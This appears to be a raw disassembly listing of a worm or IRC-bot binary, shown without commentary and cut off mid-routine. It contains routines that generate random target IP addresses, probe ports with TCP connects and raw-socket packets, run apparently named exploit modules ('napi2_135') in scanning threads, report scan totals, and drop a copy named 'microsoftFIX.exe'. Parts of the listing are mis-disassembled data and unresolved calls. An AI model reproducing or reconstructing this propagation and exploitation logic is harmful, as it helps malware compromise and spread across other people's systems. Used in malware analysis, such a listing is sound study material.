loc_409216: ; CODE XREF: sub_4091AC+Ej ; sub_4091AC+13j ... cmp byte ptr [esi], 2Ah jnz short loc_409226 cmp eax, 1 jnz short loc_40923D inc esi mov [ebp+arg_0], esi jmp short loc_409216 ; --------------------------------------------------------------------------- loc_409226: ; CODE XREF: sub_4091AC+6Dj cmp eax, 1 jnz short loc_40923D mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40923D cmp byte ptr [esi], 0 jnz short loc_40923D push 1 pop eax jmp short loc_40923F ; --------------------------------------------------------------------------- loc_40923D: ; CODE XREF: sub_4091AC+72j ; sub_4091AC+7Dj ... xor eax, eax loc_40923F: ; CODE XREF: sub_4091AC+8Fj pop esi pop ebp retn sub_4091AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409242 proc near ; CODE XREF: sub_4091AC+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_409263 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_409263: ; CODE XREF: sub_409242+19j push ebx push esi loc_409265: ; CODE XREF: sub_409242+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_409273 cmp [ebp+var_4], eax jnz short loc_4092BF loc_409273: ; CODE XREF: sub_409242+2Aj test edi, edi jnz short loc_4092B4 cmp bl, 2Dh jnz short loc_4092A8 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4092A8 cmp al, 5Dh jz short loc_4092A8 cmp [ebp+var_4], edi jnz short loc_4092A8 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4092B4 cmp bl, al jg short loc_4092B4 push 1 mov [edx], esi pop edi jmp short loc_4092B4 ; --------------------------------------------------------------------------- loc_4092A8: ; CODE XREF: sub_409242+38j ; sub_409242+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4092B4 push 1 pop edi loc_4092B4: ; CODE XREF: sub_409242+33j ; sub_409242+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_409265 ; --------------------------------------------------------------------------- loc_4092BF: ; CODE XREF: sub_409242+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4092CC mov ecx, eax sub ecx, edi mov edi, ecx loc_4092CC: ; CODE XREF: sub_409242+82j cmp edi, eax jnz short loc_4092D5 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4092D5: ; CODE XREF: sub_409242+8Cj mov eax, edi pop edi leave retn sub_409242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092DA proc near ; CODE XREF: sub_4091AC+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4092F6: ; CODE XREF: sub_4092DA+3Aj cmp [eax], bl jz short loc_409316 mov cl, [ecx] cmp cl, 3Fh jz short loc_40930B cmp cl, 2Ah jnz short loc_409316 cmp cl, 3Fh jnz short loc_40930E loc_40930B: ; CODE XREF: sub_4092DA+25j inc eax mov [edi], eax loc_40930E: ; CODE XREF: sub_4092DA+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4092F6 ; --------------------------------------------------------------------------- loc_409316: ; CODE XREF: sub_4092DA+1Ej ; sub_4092DA+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_409321 inc dword ptr [esi] jmp short loc_409316 ; --------------------------------------------------------------------------- loc_409321: ; CODE XREF: sub_4092DA+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_409342 mov edx, [esi] cmp [edx], bl jz short loc_409333 xor eax, eax jmp short loc_4093A2 ; --------------------------------------------------------------------------- loc_409333: ; CODE XREF: sub_4092DA+53j cmp cl, bl jnz short loc_409342 mov ecx, [esi] cmp [ecx], bl jnz short loc_409342 push 1 pop eax jmp short loc_4093A2 ; --------------------------------------------------------------------------- loc_409342: ; CODE XREF: sub_4092DA+4Dj ; sub_4092DA+5Bj ... push eax push dword ptr [esi] call sub_4091AC pop ecx test eax, eax pop ecx jnz short loc_40938C loc_409350: ; CODE XREF: sub_4092DA+B0j inc dword ptr [edi] mov eax, [edi] loc_409354: ; CODE XREF: sub_4092DA+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40936C cmp cl, 5Bh jz short loc_40936C cmp dl, bl jz short loc_40936C inc eax mov [edi], eax jmp short loc_409354 ; --------------------------------------------------------------------------- loc_40936C: ; CODE XREF: sub_4092DA+82j ; sub_4092DA+87j ... mov eax, [edi] cmp [eax], bl jz short loc_409383 push eax push dword ptr [esi] call sub_4091AC neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_409388 ; --------------------------------------------------------------------------- loc_409383: ; CODE XREF: sub_4092DA+96j mov [ebp+var_4], ebx xor eax, eax loc_409388: ; CODE XREF: sub_4092DA+A7j cmp eax, ebx jnz short loc_409350 loc_40938C: ; CODE XREF: sub_4092DA+74j mov eax, [edi] cmp [eax], bl jnz short loc_40939F mov eax, [esi] cmp [eax], bl jnz short loc_40939F mov [ebp+var_4], 1 loc_40939F: ; CODE XREF: sub_4092DA+B6j ; sub_4092DA+BCj mov eax, [ebp+var_4] loc_4093A2: ; CODE XREF: sub_4092DA+57j ; sub_4092DA+66j pop edi pop esi pop ebx leave retn sub_4092DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093A7 proc near ; CODE XREF: sub_403038+3F48p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_43E2FC push eax xor ebx, ebx call sub_4171D0 cmp dword_43DE38, ebx pop ecx pop ecx mov edi, 200h jz short loc_409419 push esi mov esi, offset dword_43DE40 loc_4093DA: ; CODE XREF: sub_4093A7+6Fj mov eax, [esi] test eax, eax jbe short loc_40940F add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_43E31C push eax call sub_4171D0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418680 add esp, 1Ch loc_40940F: ; CODE XREF: sub_4093A7+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_4093DA pop esi loc_409419: ; CODE XREF: sub_4093A7+2Bj push dword_4D3014 call sub_413F6C push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4171D0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418680 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_200] push eax call sub_410557 add esp, 38h pop edi pop ebx leave retn sub_4093A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409475 proc near ; CODE XREF: sub_403038+3F32p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4D5AE0 mov ecx, dword_4D5ADC push esi push dword_4D3014 lea esi, [ecx+eax] call sub_413F6C push eax push esi push dword_4D5AE0 lea eax, [ebp+var_200] push dword_4D5ADC push offset unk_43E33C push eax call sub_4171D0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_200] push eax call sub_410557 add esp, 34h pop esi leave retn sub_409475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E0 proc near ; CODE XREF: sub_403038+3F1Cp var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_417E20 push edi lea eax, [ebp+var_800] push offset dword_43E384 push eax call sub_4171D0 cmp dword_43DE38, 0 pop ecx pop ecx mov edi, 800h jz short loc_40954C push esi mov esi, offset aNapi2_135 ; "Napi2_135" loc_409515: ; CODE XREF: sub_4094E0+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_43E3A0 push eax call sub_4171D0 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_418680 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_409515 pop esi loc_40954C: ; CODE XREF: sub_4094E0+2Dj push dword_4D3014 call sub_413F6C push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_4171D0 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_418680 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_800] push eax call sub_410557 add esp, 34h pop edi leave retn sub_4094E0 endp ; --------------------------------------------------------------------------- word_4095A6 dw 8B55h ; DATA XREF: sub_403038+20A1o dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh dd 44538815h, 89FF3300h, 3D39F845h, 43DE38h, 89FC7D89h dd 840F087Dh, 114h, 43DE38BBh db 0, 8Bh, 0C3h ; --------------------------------------------------------------------------- loc_4095F7: ; CODE XREF: ___:004096FEj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_409C62 add esp, 0Ch cmp eax, 1 jnz loc_4096F4 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_43E3C0 push eax call sub_4171D0 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_401445 lea eax, [ebp-3F0h] push eax call sub_410557 lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_4171D0 lea eax, [ebp-15Ch] push esi push eax call sub_4171D0 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40968F lea eax, [ebp-124h] loc_40968F: ; CODE XREF: ___:00409687j push eax lea eax, [ebp-1DCh] push eax call sub_4171D0 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_4096F4: ; CODE XREF: ___:0040960Aj inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_4095F7 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_43E3F0 push eax call sub_4171D0 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_401445 lea eax, [ebp-3F0h] push eax call sub_410557 push dword ptr [ebp-18h] call sub_40916F add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- dw 0A9E8h db 68h, 2Fh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409757 proc near ; CODE XREF: sub_403038+38A6p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40909B test eax, eax pop ecx jle short loc_409793 mov eax, [ebp+arg_C] push dword_4D31C0[eax*8] call dword_4453D4 push eax lea eax, [ebp+var_200] push offset unk_43E424 push eax call sub_4171D0 add esp, 0Ch jmp short loc_4097A6 ; --------------------------------------------------------------------------- loc_409793: ; CODE XREF: sub_409757+13j lea eax, [ebp+var_200] push offset unk_43E440 push eax call sub_4171D0 pop ecx pop ecx loc_4097A6: ; CODE XREF: sub_409757+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_200] push eax call sub_410557 add esp, 18h leave retn sub_409757 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097CE proc near ; CODE XREF: sub_409ECC+263p var_214 = dword ptr -214h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx push esi cmp eax, 0FFFFFFFFh push edi jz loc_409B79 shl eax, 6 xor ebx, ebx cmp dword_43DE44[eax], ebx jz loc_409B79 push 5 call sub_40909B mov edi, dword_4DD2C4 pop ecx test eax, eax jnz loc_409A55 mov eax, dword_436C0C mov esi, offset dword_4D51DC push 104h push esi push ebx mov dword_4D53EC, eax mov dword_4D53E8, ebx call edi push 103h push offset aMicrosoftfix_e ; "microsoftFIX.exe" push offset dword_4D52E0 call sub_417770 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D51D8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4D5470, eax jnz short loc_409882 lea eax, [ebp+arg_10] push eax push offset dword_4D53F0 call sub_417770 add esp, 0Ch mov dword_4D5474, 1 jmp short loc_40989C ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_4097CE+95j lea eax, [ebp+arg_90] push eax push offset dword_4D53F0 call sub_417770 add esp, 0Ch mov dword_4D5474, ebx loc_40989C: ; CODE XREF: sub_4097CE+B2j push esi lea eax, [ebp+var_204] push dword_4D53EC push offset unk_43E460 push eax call sub_4171D0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_408E53 add esp, 1Ch mov dword_4D53E4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D51D8 push offset byte_40FFAF push ebx push ebx call near ptr 26A08FFh nop mov ecx, dword_4D53E4 imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40990A loc_4098F8: ; CODE XREF: sub_4097CE+13Aj cmp dword_4D5478, ebx jnz short loc_409925 push 32h nop call near ptr 2690599h jmp short loc_4098F8 ; --------------------------------------------------------------------------- loc_40990A: ; CODE XREF: sub_4097CE+128j nop call near ptr 26908EFh push eax lea eax, [ebp+var_204] push offset unk_43E494 push eax call sub_4171D0 add esp, 0Ch loc_409925: ; CODE XREF: sub_4097CE+130j lea eax, [ebp+var_204] push eax call sub_410557 mov eax, dword_4D3010 mov esi, offset dword_4D5484 mov [esp+214h+var_214], 104h push esi push ebx mov dword_4D5694, eax mov dword_4D5690, ebx call edi push 103h push offset aMicrosoftfix_e ; "microsoftFIX.exe" push offset dword_4D5588 call sub_417770 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D5480, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4D5718, eax jnz short loc_4099A5 lea eax, [ebp+arg_10] push eax push offset dword_4D5698 call sub_417770 add esp, 0Ch mov dword_4D571C, 1 jmp short loc_4099BF ; --------------------------------------------------------------------------- loc_4099A5: ; CODE XREF: sub_4097CE+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4D5698 call sub_417770 add esp, 0Ch mov dword_4D571C, ebx loc_4099BF: ; CODE XREF: sub_4097CE+1D5j push esi lea eax, [ebp+var_204] push dword_4D5694 push offset unk_43E4C8 push eax call sub_4171D0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_408E53 add esp, 1Ch mov dword_4D568C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D5480 push offset dword_40D1AC push ebx push ebx nop call near ptr 26A08FFh mov ecx, dword_4D568C imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_409A2D loc_409A1B: ; CODE XREF: sub_4097CE+25Dj cmp dword_4D5720, ebx jnz short loc_409A48 push 32h call near ptr 2690599h nop jmp short loc_409A1B ; --------------------------------------------------------------------------- loc_409A2D: ; CODE XREF: sub_4097CE+24Bj call near ptr 26908EFh nop push eax lea eax, [ebp+var_204] push offset unk_43E4FC push eax call sub_4171D0 add esp, 0Ch loc_409A48: ; CODE XREF: sub_4097CE+253j lea eax, [ebp+var_204] push eax call sub_410557 pop ecx loc_409A55: ; CODE XREF: sub_4097CE+3Cj mov eax, [ebp+arg_130] shl eax, 6 cmp dword_43DE48[eax], ebx jz loc_409B79 push 3 call sub_40909B test eax, eax pop ecx jnz loc_409B79 mov esi, offset dword_4D59B4 push 104h push esi push ebx call edi push 5Ch push esi call sub_418310 pop ecx cmp eax, ebx pop ecx jz short loc_409A98 mov [eax], bl loc_409A98: ; CODE XREF: sub_4097CE+2C6j mov eax, dword_436C10 mov dword_4D5ACC, ebx mov dword_4D5AB8, eax lea eax, [ebp+arg_10] push eax push offset dword_4D572C call sub_4171D0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4D5728, eax mov ecx, [ebp+arg_138] push esi push dword_4D5AB8 mov dword_4D5AC4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4D5AC8, ecx call sub_40267D pop ecx push eax lea eax, [ebp+var_204] push offset unk_43E530 push eax call sub_4171D0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_408E53 add esp, 20h mov dword_4D5AC0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D5728 push offset sub_40D8F7 push ebx push ebx nop call near ptr 26A08FFh mov ecx, dword_4D5AC0 imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_409B51 loc_409B3F: ; CODE XREF: sub_4097CE+381j cmp dword_4D5AD4, ebx jnz short loc_409B6C push 32h nop call near ptr 2690599h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B51: ; CODE XREF: sub_4097CE+36Fj nop call near ptr 26908EFh push eax lea eax, [ebp+var_204] push offset unk_43E56C push eax call sub_4171D0 add esp, 0Ch loc_409B6C: ; CODE XREF: sub_4097CE+377j lea eax, [ebp+var_204] push eax call sub_410557 pop ecx loc_409B79: ; CODE XREF: sub_4097CE+15j ; sub_4097CE+26j ... pop edi pop esi pop ebx leave retn sub_4097CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B7E proc near ; CODE XREF: sub_409ECC:loc_409F3Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4D31C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4187B0 add esp, 0Ch push [ebp+arg_0] call dword_445270 inc eax push eax mov [ebp+arg_0], eax call dword_445344 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4187B0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_409B7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BC6 proc near ; CODE XREF: sub_409ECC+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_414BE0 cmp eax, 0Fh pop ecx jbe short loc_409BEE xor eax, eax jmp short loc_409C5F ; --------------------------------------------------------------------------- loc_409BEE: ; CODE XREF: sub_409BC6+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418AF0 add esp, 18h cmp [ebp+var_C], esi jnz short loc_409C1B call sub_417B10 mov [ebp+var_C], eax loc_409C1B: ; CODE XREF: sub_409BC6+4Bj cmp [ebp+var_8], esi jnz short loc_409C28 call sub_417B10 mov [ebp+var_8], eax loc_409C28: ; CODE XREF: sub_409BC6+58j cmp [ebp+var_4], esi jnz short loc_409C35 call sub_417B10 mov [ebp+var_4], eax loc_409C35: ; CODE XREF: sub_409BC6+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_409C41 call sub_417B10 loc_409C41: ; CODE XREF: sub_409BC6+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4D31C0[ecx*8], eax loc_409C5F: ; CODE XREF: sub_409BC6+26j pop esi leave retn sub_409BC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C62 proc near ; CODE XREF: ___:004095FFp ; sub_409ECC+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4453C8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_409C8B xor eax, eax jmp short loc_409CFA ; --------------------------------------------------------------------------- loc_409C8B: ; CODE XREF: sub_409C62+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_445348 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4453E4 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4452F0 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_445330 push esi mov edi, eax call dword_4453E0 xor eax, eax cmp edi, ebx setnle al loc_409CFA: ; CODE XREF: sub_409C62+27j pop edi pop esi pop ebx leave retn sub_409C62 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_417E20 push ebx push esi push edi mov edi, 2649h push edi call dword_445348 push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_445348 mov [ebp-26h], ax call sub_417B10 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_445348 mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_445348 mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_4187B0 lea eax, [ebp-58h] push 20h push eax call sub_4026D6 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_417070 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_445348 push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4453C8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_409DFE push offset aSocketOpenFail ; "socket open failed" jmp loc_409EBF ; --------------------------------------------------------------------------- loc_409DFE: ; CODE XREF: ___:00409DF2j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4453AC cmp eax, 14h mov [ebp+10h], eax jz short loc_409E47 call dword_4452DC push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_4171D0 lea eax, [ebp-0D8h] push eax call sub_410557 add esp, 14h jmp short loc_409E90 ; --------------------------------------------------------------------------- loc_409E47: ; CODE XREF: ___:00409E19j push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_417070 add esp, 0Ch loc_409E5C: ; CODE XREF: ___:00409E83j cmp [ebp-100FAh], di jz short loc_409E99 lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_445320 test eax, eax jge short loc_409E5C push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_410557 pop ecx loc_409E90: ; CODE XREF: ___:00409E45j push esi call dword_4453E0 jmp short loc_409EC5 ; --------------------------------------------------------------------------- loc_409E99: ; CODE XREF: ___:00409E63j push esi call dword_4453E0 cmp word ptr [ebp-100EAh], 1 jnz short loc_409EBA push offset aSocketOpen_ ; "Socket open." call sub_410557 pop ecx push 1 pop eax jmp short loc_409EC7 ; --------------------------------------------------------------------------- loc_409EBA: ; CODE XREF: ___:00409EA8j push offset aSocketClosed_ ; "Socket closed." loc_409EBF: ; CODE XREF: ___:00409DF9j call sub_410557 pop ecx loc_409EC5: ; CODE XREF: ___:00409E97j xor eax, eax loc_409EC7: ; CODE XREF: ___:00409EB8j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409ECC proc near ; DATA XREF: sub_409ECC+34Fo var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26C05FFh push eax call sub_417B00 mov ebx, esi pop ecx imul ebx, 234h loc_409F13: ; CODE XREF: sub_409ECC+200j mov eax, dword_446214[ebx] cmp dword_4D31C4[eax*8], 0 jz loc_40A0D1 cmp [ebp+var_10], 0 push eax jz short loc_409F3D lea eax, [ebp+var_150] push eax call sub_409BC6 pop ecx jmp short loc_409F42 ; --------------------------------------------------------------------------- loc_409F3D: ; CODE XREF: sub_409ECC+60j call sub_409B7E loc_409F42: ; CODE XREF: sub_409ECC+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_446214[ebx] push [ebp+var_3C] push edi call dword_4453D4 push eax lea eax, [ebp+var_28C] push offset unk_43E624 push eax call sub_4171D0 lea eax, [ebp+var_28C] push eax lea eax, dword_446010[ebx] push eax call sub_4171D0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_409C62 add esp, 2Ch cmp eax, 1 jnz loc_40A0C1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40A016 push offset dword_4D51C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4453D4 push eax lea eax, [ebp+var_28C] push offset unk_43E65C push eax call sub_4171D0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_409FF8 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_409FEC lea eax, [ebp+var_140] loc_409FEC: ; CODE XREF: sub_409ECC+118j push eax push [ebp+var_40] call sub_401445 add esp, 14h loc_409FF8: ; CODE XREF: sub_409ECC+FDj lea eax, [ebp+var_28C] push eax call sub_410557 mov [esp+29Ch+var_29C], offset dword_4D51C0 nop call near ptr 77F7E300h jmp loc_40A0C1 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409ECC+CDj push edi call dword_4453D4 push eax lea eax, [ebp+var_208] push eax call sub_4171D0 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aNapi2_135_0 ; "napi2_135" push eax lea eax, [ebp+var_178] push eax call sub_4171D0 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40A05A lea eax, [ebp+var_140] loc_40A05A: ; CODE XREF: 